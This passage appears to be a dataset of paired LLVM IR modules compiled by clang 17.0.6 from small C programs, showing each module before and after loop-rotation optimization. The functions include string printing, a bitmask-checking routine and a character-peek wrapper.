53: ; preds = %._crit_edge, %23
%54 = load i32, ptr %4, align 4
%55 = load i32, ptr %5, align 4
%56 = mul nsw i32 %54, %55
%57 = sitofp i32 %56 to double
store double %57, ptr %8, align 8
%58 = load double, ptr %8, align 8
%59 = fcmp oeq double %58, 0.000000e+00
br i1 %59, label %60, label %61
60: ; preds = %53
store double 0.000000e+00, ptr %2, align 8
br label %64
61: ; preds = %53
%62 = load double, ptr %8, align 8
%63 = fdiv double 1.000000e+00, %62
store double %63, ptr %2, align 8
br label %64
64: ; preds = %61, %60, %39, %20
%65 = load double, ptr %2, align 8
ret double %65
}
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
!6 = distinct !{!6, !7}
!7 = !{!"llvm.loop.mustprogress"}
|
; ModuleID = '/tmp/tmpz8uiyq5p.c'
source_filename = "/tmp/tmpz8uiyq5p.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
| ; ModuleID = '<stdin>'
source_filename = "/tmp/tmpz8uiyq5p.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
|
; ModuleID = '/tmp/tmpd0_69349.c'
source_filename = "/tmp/tmpd0_69349.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
@__const.main.str = private unnamed_addr constant [12 x i8] c"Hello World\00", align 1
@.str = private unnamed_addr constant [6 x i8] c"Hello\00", align 1
@.str.1 = private unnamed_addr constant [4 x i8] c"%s\0A\00", align 1
@.str.2 = private unnamed_addr constant [4 x i8] c"%c\0A\00", align 1
@.str.3 = private unnamed_addr constant [48 x i8] c"----------------------------------------------\0A\00", align 1
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local i32 @main() #0 {
%1 = alloca i32, align 4
%2 = alloca [12 x i8], align 1
%3 = alloca ptr, align 8
%4 = alloca ptr, align 8
store i32 0, ptr %1, align 4
call void @llvm.memcpy.p0.p0.i64(ptr align 1 %2, ptr align 1 @__const.main.str, i64 12, i1 false)
store ptr @.str, ptr %3, align 8
%5 = getelementptr inbounds [12 x i8], ptr %2, i64 0, i64 0
%6 = call i32 (ptr, ...) @printf(ptr noundef @.str.1, ptr noundef %5)
%7 = getelementptr inbounds [12 x i8], ptr %2, i64 0, i64 0
%8 = load i8, ptr %7, align 1
%9 = sext i8 %8 to i32
%10 = call i32 (ptr, ...) @printf(ptr noundef @.str.2, i32 noundef %9)
%11 = getelementptr inbounds [12 x i8], ptr %2, i64 0, i64 1
%12 = load i8, ptr %11, align 1
%13 = sext i8 %12 to i32
%14 = call i32 (ptr, ...) @printf(ptr noundef @.str.2, i32 noundef %13)
%15 = call i32 (ptr, ...) @printf(ptr noundef @.str.3)
%16 = getelementptr inbounds [12 x i8], ptr %2, i64 0, i64 0
%17 = call i32 (ptr, ...) @printf(ptr noundef @.str.1, ptr noundef %16)
%18 = getelementptr inbounds [12 x i8], ptr %2, i64 0, i64 0
%19 = load i8, ptr %18, align 1
%20 = sext i8 %19 to i32
%21 = call i32 (ptr, ...) @printf(ptr noundef @.str.2, i32 noundef %20)
%22 = getelementptr inbounds [12 x i8], ptr %2, i64 0, i64 0
%23 = load i8, ptr %22, align 1
%24 = add i8 %23, 1
store i8 %24, ptr %22, align 1
%25 = sext i8 %24 to i32
%26 = call i32 (ptr, ...) @printf(ptr noundef @.str.2, i32 noundef %25)
%27 = getelementptr inbounds [12 x i8], ptr %2, i64 0, i64 0
%28 = call i32 (ptr, ...) @printf(ptr noundef @.str.1, ptr noundef %27)
%29 = getelementptr inbounds [12 x i8], ptr %2, i64 0, i64 0
%30 = load i8, ptr %29, align 1
%31 = add i8 %30, -1
store i8 %31, ptr %29, align 1
%32 = sext i8 %31 to i32
%33 = call i32 (ptr, ...) @printf(ptr noundef @.str.2, i32 noundef %32)
%34 = getelementptr inbounds [12 x i8], ptr %2, i64 0, i64 0
%35 = call i32 (ptr, ...) @printf(ptr noundef @.str.1, ptr noundef %34)
%36 = call i32 (ptr, ...) @printf(ptr noundef @.str.3)
%37 = getelementptr inbounds [12 x i8], ptr %2, i64 0, i64 0
%38 = getelementptr inbounds i8, ptr %37, i64 1
%39 = load i8, ptr %38, align 1
%40 = sext i8 %39 to i32
%41 = call i32 (ptr, ...) @printf(ptr noundef @.str.2, i32 noundef %40)
%42 = getelementptr inbounds [12 x i8], ptr %2, i64 0, i64 0
%43 = getelementptr inbounds i8, ptr %42, i64 2
%44 = load i8, ptr %43, align 1
%45 = sext i8 %44 to i32
%46 = call i32 (ptr, ...) @printf(ptr noundef @.str.2, i32 noundef %45)
%47 = call i32 (ptr, ...) @printf(ptr noundef @.str.3)
%48 = getelementptr inbounds [12 x i8], ptr %2, i64 0, i64 0
store ptr %48, ptr %4, align 8
%49 = getelementptr inbounds [12 x i8], ptr %2, i64 0, i64 0
%50 = call i32 (ptr, ...) @printf(ptr noundef @.str.1, ptr noundef %49)
%51 = load ptr, ptr %4, align 8
%52 = getelementptr inbounds i8, ptr %51, i32 1
store ptr %52, ptr %4, align 8
%53 = load i8, ptr %51, align 1
%54 = sext i8 %53 to i32
%55 = call i32 (ptr, ...) @printf(ptr noundef @.str.2, i32 noundef %54)
%56 = load ptr, ptr %4, align 8
%57 = load i8, ptr %56, align 1
%58 = sext i8 %57 to i32
%59 = call i32 (ptr, ...) @printf(ptr noundef @.str.2, i32 noundef %58)
ret i32 0
}
; Function Attrs: nocallback nofree nounwind willreturn memory(argmem: readwrite)
declare void @llvm.memcpy.p0.p0.i64(ptr noalias nocapture writeonly, ptr noalias nocapture readonly, i64, i1 immarg) #1
declare i32 @printf(ptr noundef, ...) #2
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { nocallback nofree nounwind willreturn memory(argmem: readwrite) }
attributes #2 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
| ; ModuleID = '<stdin>'
source_filename = "/tmp/tmpd0_69349.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
@__const.main.str = private unnamed_addr constant [12 x i8] c"Hello World\00", align 1
@.str = private unnamed_addr constant [6 x i8] c"Hello\00", align 1
@.str.1 = private unnamed_addr constant [4 x i8] c"%s\0A\00", align 1
@.str.2 = private unnamed_addr constant [4 x i8] c"%c\0A\00", align 1
@.str.3 = private unnamed_addr constant [48 x i8] c"----------------------------------------------\0A\00", align 1
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local i32 @main() #0 {
%1 = alloca i32, align 4
%2 = alloca [12 x i8], align 1
%3 = alloca ptr, align 8
%4 = alloca ptr, align 8
store i32 0, ptr %1, align 4
call void @llvm.memcpy.p0.p0.i64(ptr align 1 %2, ptr align 1 @__const.main.str, i64 12, i1 false)
store ptr @.str, ptr %3, align 8
%5 = getelementptr inbounds [12 x i8], ptr %2, i64 0, i64 0
%6 = call i32 (ptr, ...) @printf(ptr noundef @.str.1, ptr noundef %5)
%7 = getelementptr inbounds [12 x i8], ptr %2, i64 0, i64 0
%8 = load i8, ptr %7, align 1
%9 = sext i8 %8 to i32
%10 = call i32 (ptr, ...) @printf(ptr noundef @.str.2, i32 noundef %9)
%11 = getelementptr inbounds [12 x i8], ptr %2, i64 0, i64 1
%12 = load i8, ptr %11, align 1
%13 = sext i8 %12 to i32
%14 = call i32 (ptr, ...) @printf(ptr noundef @.str.2, i32 noundef %13)
%15 = call i32 (ptr, ...) @printf(ptr noundef @.str.3)
%16 = getelementptr inbounds [12 x i8], ptr %2, i64 0, i64 0
%17 = call i32 (ptr, ...) @printf(ptr noundef @.str.1, ptr noundef %16)
%18 = getelementptr inbounds [12 x i8], ptr %2, i64 0, i64 0
%19 = load i8, ptr %18, align 1
%20 = sext i8 %19 to i32
%21 = call i32 (ptr, ...) @printf(ptr noundef @.str.2, i32 noundef %20)
%22 = getelementptr inbounds [12 x i8], ptr %2, i64 0, i64 0
%23 = load i8, ptr %22, align 1
%24 = add i8 %23, 1
store i8 %24, ptr %22, align 1
%25 = sext i8 %24 to i32
%26 = call i32 (ptr, ...) @printf(ptr noundef @.str.2, i32 noundef %25)
%27 = getelementptr inbounds [12 x i8], ptr %2, i64 0, i64 0
%28 = call i32 (ptr, ...) @printf(ptr noundef @.str.1, ptr noundef %27)
%29 = getelementptr inbounds [12 x i8], ptr %2, i64 0, i64 0
%30 = load i8, ptr %29, align 1
%31 = add i8 %30, -1
store i8 %31, ptr %29, align 1
%32 = sext i8 %31 to i32
%33 = call i32 (ptr, ...) @printf(ptr noundef @.str.2, i32 noundef %32)
%34 = getelementptr inbounds [12 x i8], ptr %2, i64 0, i64 0
%35 = call i32 (ptr, ...) @printf(ptr noundef @.str.1, ptr noundef %34)
%36 = call i32 (ptr, ...) @printf(ptr noundef @.str.3)
%37 = getelementptr inbounds [12 x i8], ptr %2, i64 0, i64 0
%38 = getelementptr inbounds i8, ptr %37, i64 1
%39 = load i8, ptr %38, align 1
%40 = sext i8 %39 to i32
%41 = call i32 (ptr, ...) @printf(ptr noundef @.str.2, i32 noundef %40)
%42 = getelementptr inbounds [12 x i8], ptr %2, i64 0, i64 0
%43 = getelementptr inbounds i8, ptr %42, i64 2
%44 = load i8, ptr %43, align 1
%45 = sext i8 %44 to i32
%46 = call i32 (ptr, ...) @printf(ptr noundef @.str.2, i32 noundef %45)
%47 = call i32 (ptr, ...) @printf(ptr noundef @.str.3)
%48 = getelementptr inbounds [12 x i8], ptr %2, i64 0, i64 0
store ptr %48, ptr %4, align 8
%49 = getelementptr inbounds [12 x i8], ptr %2, i64 0, i64 0
%50 = call i32 (ptr, ...) @printf(ptr noundef @.str.1, ptr noundef %49)
%51 = load ptr, ptr %4, align 8
%52 = getelementptr inbounds i8, ptr %51, i32 1
store ptr %52, ptr %4, align 8
%53 = load i8, ptr %51, align 1
%54 = sext i8 %53 to i32
%55 = call i32 (ptr, ...) @printf(ptr noundef @.str.2, i32 noundef %54)
%56 = load ptr, ptr %4, align 8
%57 = load i8, ptr %56, align 1
%58 = sext i8 %57 to i32
%59 = call i32 (ptr, ...) @printf(ptr noundef @.str.2, i32 noundef %58)
ret i32 0
}
; Function Attrs: nocallback nofree nounwind willreturn memory(argmem: readwrite)
declare void @llvm.memcpy.p0.p0.i64(ptr noalias nocapture writeonly, ptr noalias nocapture readonly, i64, i1 immarg) #1
declare i32 @printf(ptr noundef, ...) #2
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { nocallback nofree nounwind willreturn memory(argmem: readwrite) }
attributes #2 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
|
; ModuleID = '/tmp/tmp3nyg3ilp.c'
source_filename = "/tmp/tmp3nyg3ilp.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
| ; ModuleID = '<stdin>'
source_filename = "/tmp/tmp3nyg3ilp.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
|
; ModuleID = '/tmp/tmp98yr4l84.c'
source_filename = "/tmp/tmp98yr4l84.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
| ; ModuleID = '<stdin>'
source_filename = "/tmp/tmp98yr4l84.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
|
; ModuleID = '/tmp/tmpz5k5ho14.c'
source_filename = "/tmp/tmpz5k5ho14.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local i32 @check_full_bits(ptr noundef %0, i32 noundef %1, ptr noundef %2, i32 noundef %3, i32 noundef %4, i32 noundef %5) #0 {
%7 = alloca i32, align 4
%8 = alloca ptr, align 8
%9 = alloca i32, align 4
%10 = alloca ptr, align 8
%11 = alloca i32, align 4
%12 = alloca i32, align 4
%13 = alloca i32, align 4
%14 = alloca i32, align 4
%15 = alloca i32, align 4
%16 = alloca i32, align 4
%17 = alloca i32, align 4
%18 = alloca [4096 x i32], align 16
%19 = alloca i32, align 4
%20 = alloca i32, align 4
%21 = alloca i32, align 4
%22 = alloca i32, align 4
store ptr %0, ptr %8, align 8
store i32 %1, ptr %9, align 4
store ptr %2, ptr %10, align 8
store i32 %3, ptr %11, align 4
store i32 %4, ptr %12, align 4
store i32 %5, ptr %13, align 4
%23 = load i32, ptr %9, align 4
%24 = icmp ne i32 %23, 0
br i1 %24, label %26, label %25
25: ; preds = %6
store i32 1, ptr %7, align 4
br label %107
26: ; preds = %6
store i32 0, ptr %14, align 4
store i32 0, ptr %17, align 4
store i32 1, ptr %16, align 4
br label %27
27: ; preds = %39, %26
%28 = load i32, ptr %14, align 4
%29 = icmp slt i32 %28, 11
br i1 %29, label %30, label %44
30: ; preds = %27
%31 = load i32, ptr %9, align 4
%32 = load i32, ptr %16, align 4
%33 = and i32 %31, %32
%34 = icmp ne i32 %33, 0
br i1 %34, label %35, label %38
35: ; preds = %30
%36 = load i32, ptr %17, align 4
%37 = add nsw i32 %36, 1
store i32 %37, ptr %17, align 4
br label %38
38: ; preds = %35, %30
br label %39
39: ; preds = %38
%40 = load i32, ptr %14, align 4
%41 = add nsw i32 %40, 1
store i32 %41, ptr %14, align 4
%42 = load i32, ptr %16, align 4
%43 = shl i32 %42, 1
store i32 %43, ptr %16, align 4
br label %27, !llvm.loop !6
44: ; preds = %27
%45 = load i32, ptr %17, align 4
%46 = call i32 @assert(i32 noundef %45)
%47 = load i32, ptr %17, align 4
%48 = shl i32 1, %47
store i32 %48, ptr %20, align 4
store i32 0, ptr %15, align 4
store i32 0, ptr %19, align 4
br label %49
49: ; preds = %103, %44
%50 = load i32, ptr %15, align 4
%51 = load i32, ptr %11, align 4
%52 = icmp slt i32 %50, %51
br i1 %52, label %53, label %106
53: ; preds = %49
store i32 0, ptr %21, align 4
%54 = load ptr, ptr %10, align 8
%55 = load i32, ptr %15, align 4
%56 = sext i32 %55 to i64
%57 = getelementptr inbounds i32, ptr %54, i64 %56
%58 = load i32, ptr %57, align 4
%59 = load i32, ptr %12, align 4
%60 = and i32 %58, %59
%61 = load i32, ptr %13, align 4
%62 = icmp ne i32 %60, %61
br i1 %62, label %63, label %64
63: ; preds = %53
br label %103
64: ; preds = %53
%65 = load ptr, ptr %10, align 8
%66 = load i32, ptr %15, align 4
%67 = sext i32 %66 to i64
%68 = getelementptr inbounds i32, ptr %65, i64 %67
%69 = load i32, ptr %68, align 4
%70 = load i32, ptr %9, align 4
%71 = and i32 %69, %70
store i32 %71, ptr %22, align 4
store i32 0, ptr %14, align 4
br label %72
72: ; preds = %85, %64
%73 = load i32, ptr %14, align 4
%74 = load i32, ptr %19, align 4
%75 = icmp slt i32 %73, %74
br i1 %75, label %76, label %88
76: ; preds = %72
%77 = load i32, ptr %14, align 4
%78 = sext i32 %77 to i64
%79 = getelementptr inbounds [4096 x i32], ptr %18, i64 0, i64 %78
%80 = load i32, ptr %79, align 4
%81 = load i32, ptr %22, align 4
%82 = icmp eq i32 %80, %81
br i1 %82, label %83, label %84
83: ; preds = %76
store i32 1, ptr %21, align 4
br label %88
84: ; preds = %76
br label %85
85: ; preds = %84
%86 = load i32, ptr %14, align 4
%87 = add nsw i32 %86, 1
store i32 %87, ptr %14, align 4
br label %72, !llvm.loop !8
88: ; preds = %83, %72
%89 = load i32, ptr %21, align 4
%90 = icmp ne i32 %89, 0
br i1 %90, label %91, label %92
91: ; preds = %88
br label %103
92: ; preds = %88
%93 = load i32, ptr %22, align 4
%94 = load i32, ptr %19, align 4
%95 = add nsw i32 %94, 1
store i32 %95, ptr %19, align 4
%96 = sext i32 %94 to i64
%97 = getelementptr inbounds [4096 x i32], ptr %18, i64 0, i64 %96
store i32 %93, ptr %97, align 4
%98 = load i32, ptr %19, align 4
%99 = load i32, ptr %20, align 4
%100 = icmp eq i32 %98, %99
br i1 %100, label %101, label %102
101: ; preds = %92
store i32 1, ptr %7, align 4
br label %107
102: ; preds = %92
br label %103
103: ; preds = %102, %91, %63
%104 = load i32, ptr %15, align 4
%105 = add nsw i32 %104, 1
store i32 %105, ptr %15, align 4
br label %49, !llvm.loop !9
106: ; preds = %49
store i32 0, ptr %7, align 4
br label %107
107: ; preds = %106, %101, %25
%108 = load i32, ptr %7, align 4
ret i32 %108
}
declare i32 @assert(i32 noundef) #1
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
!6 = distinct !{!6, !7}
!7 = !{!"llvm.loop.mustprogress"}
!8 = distinct !{!8, !7}
!9 = distinct !{!9, !7}
| ; ModuleID = '<stdin>'
source_filename = "/tmp/tmpz5k5ho14.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local i32 @check_full_bits(ptr noundef %0, i32 noundef %1, ptr noundef %2, i32 noundef %3, i32 noundef %4, i32 noundef %5) #0 {
%7 = alloca i32, align 4
%8 = alloca ptr, align 8
%9 = alloca i32, align 4
%10 = alloca ptr, align 8
%11 = alloca i32, align 4
%12 = alloca i32, align 4
%13 = alloca i32, align 4
%14 = alloca i32, align 4
%15 = alloca i32, align 4
%16 = alloca i32, align 4
%17 = alloca i32, align 4
%18 = alloca [4096 x i32], align 16
%19 = alloca i32, align 4
%20 = alloca i32, align 4
%21 = alloca i32, align 4
%22 = alloca i32, align 4
store ptr %0, ptr %8, align 8
store i32 %1, ptr %9, align 4
store ptr %2, ptr %10, align 8
store i32 %3, ptr %11, align 4
store i32 %4, ptr %12, align 4
store i32 %5, ptr %13, align 4
%23 = load i32, ptr %9, align 4
%24 = icmp ne i32 %23, 0
br i1 %24, label %26, label %25
25: ; preds = %6
store i32 1, ptr %7, align 4
br label %112
26: ; preds = %6
store i32 0, ptr %14, align 4
store i32 0, ptr %17, align 4
store i32 1, ptr %16, align 4
%27 = load i32, ptr %14, align 4
%28 = icmp slt i32 %27, 11
br i1 %28, label %.lr.ph, label %45
.lr.ph: ; preds = %26
br label %29
29: ; preds = %.lr.ph, %38
%30 = load i32, ptr %9, align 4
%31 = load i32, ptr %16, align 4
%32 = and i32 %30, %31
%33 = icmp ne i32 %32, 0
br i1 %33, label %34, label %37
34: ; preds = %29
%35 = load i32, ptr %17, align 4
%36 = add nsw i32 %35, 1
store i32 %36, ptr %17, align 4
br label %37
37: ; preds = %34, %29
br label %38
38: ; preds = %37
%39 = load i32, ptr %14, align 4
%40 = add nsw i32 %39, 1
store i32 %40, ptr %14, align 4
%41 = load i32, ptr %16, align 4
%42 = shl i32 %41, 1
store i32 %42, ptr %16, align 4
%43 = load i32, ptr %14, align 4
%44 = icmp slt i32 %43, 11
br i1 %44, label %29, label %._crit_edge, !llvm.loop !6
._crit_edge: ; preds = %38
br label %45
45: ; preds = %._crit_edge, %26
%46 = load i32, ptr %17, align 4
%47 = call i32 @assert(i32 noundef %46)
%48 = load i32, ptr %17, align 4
%49 = shl i32 1, %48
store i32 %49, ptr %20, align 4
store i32 0, ptr %15, align 4
store i32 0, ptr %19, align 4
%50 = load i32, ptr %15, align 4
%51 = load i32, ptr %11, align 4
%52 = icmp slt i32 %50, %51
br i1 %52, label %.lr.ph4, label %111
.lr.ph4: ; preds = %45
br label %53
53: ; preds = %.lr.ph4, %105
store i32 0, ptr %21, align 4
%54 = load ptr, ptr %10, align 8
%55 = load i32, ptr %15, align 4
%56 = sext i32 %55 to i64
%57 = getelementptr inbounds i32, ptr %54, i64 %56
%58 = load i32, ptr %57, align 4
%59 = load i32, ptr %12, align 4
%60 = and i32 %58, %59
%61 = load i32, ptr %13, align 4
%62 = icmp ne i32 %60, %61
br i1 %62, label %63, label %64
63: ; preds = %53
br label %105
64: ; preds = %53
%65 = load ptr, ptr %10, align 8
%66 = load i32, ptr %15, align 4
%67 = sext i32 %66 to i64
%68 = getelementptr inbounds i32, ptr %65, i64 %67
%69 = load i32, ptr %68, align 4
%70 = load i32, ptr %9, align 4
%71 = and i32 %69, %70
store i32 %71, ptr %22, align 4
store i32 0, ptr %14, align 4
%72 = load i32, ptr %14, align 4
%73 = load i32, ptr %19, align 4
%74 = icmp slt i32 %72, %73
br i1 %74, label %.lr.ph2, label %.loopexit
.lr.ph2: ; preds = %64
br label %75
75: ; preds = %.lr.ph2, %84
%76 = load i32, ptr %14, align 4
%77 = sext i32 %76 to i64
%78 = getelementptr inbounds [4096 x i32], ptr %18, i64 0, i64 %77
%79 = load i32, ptr %78, align 4
%80 = load i32, ptr %22, align 4
%81 = icmp eq i32 %79, %80
br i1 %81, label %82, label %83
82: ; preds = %75
store i32 1, ptr %21, align 4
br label %90
83: ; preds = %75
br label %84
84: ; preds = %83
%85 = load i32, ptr %14, align 4
%86 = add nsw i32 %85, 1
store i32 %86, ptr %14, align 4
%87 = load i32, ptr %14, align 4
%88 = load i32, ptr %19, align 4
%89 = icmp slt i32 %87, %88
br i1 %89, label %75, label %..loopexit_crit_edge, !llvm.loop !8
..loopexit_crit_edge: ; preds = %84
br label %.loopexit
.loopexit: ; preds = %..loopexit_crit_edge, %64
br label %90
90: ; preds = %.loopexit, %82
%91 = load i32, ptr %21, align 4
%92 = icmp ne i32 %91, 0
br i1 %92, label %93, label %94
93: ; preds = %90
br label %105
94: ; preds = %90
%95 = load i32, ptr %22, align 4
%96 = load i32, ptr %19, align 4
%97 = add nsw i32 %96, 1
store i32 %97, ptr %19, align 4
%98 = sext i32 %96 to i64
%99 = getelementptr inbounds [4096 x i32], ptr %18, i64 0, i64 %98
store i32 %95, ptr %99, align 4
%100 = load i32, ptr %19, align 4
%101 = load i32, ptr %20, align 4
%102 = icmp eq i32 %100, %101
br i1 %102, label %103, label %104
103: ; preds = %94
store i32 1, ptr %7, align 4
br label %112
104: ; preds = %94
br label %105
105: ; preds = %104, %93, %63
%106 = load i32, ptr %15, align 4
%107 = add nsw i32 %106, 1
store i32 %107, ptr %15, align 4
%108 = load i32, ptr %15, align 4
%109 = load i32, ptr %11, align 4
%110 = icmp slt i32 %108, %109
br i1 %110, label %53, label %._crit_edge5, !llvm.loop !9
._crit_edge5: ; preds = %105
br label %111
111: ; preds = %._crit_edge5, %45
store i32 0, ptr %7, align 4
br label %112
112: ; preds = %111, %103, %25
%113 = load i32, ptr %7, align 4
ret i32 %113
}
declare i32 @assert(i32 noundef) #1
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
!6 = distinct !{!6, !7}
!7 = !{!"llvm.loop.mustprogress"}
!8 = distinct !{!8, !7}
!9 = distinct !{!9, !7}
|
; ModuleID = '/tmp/tmph45_5ed1.c'
source_filename = "/tmp/tmph45_5ed1.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local i32 @pevent_peek_char() #0 {
%1 = call i32 (...) @__peek_char()
ret i32 %1
}
declare i32 @__peek_char(...) #1
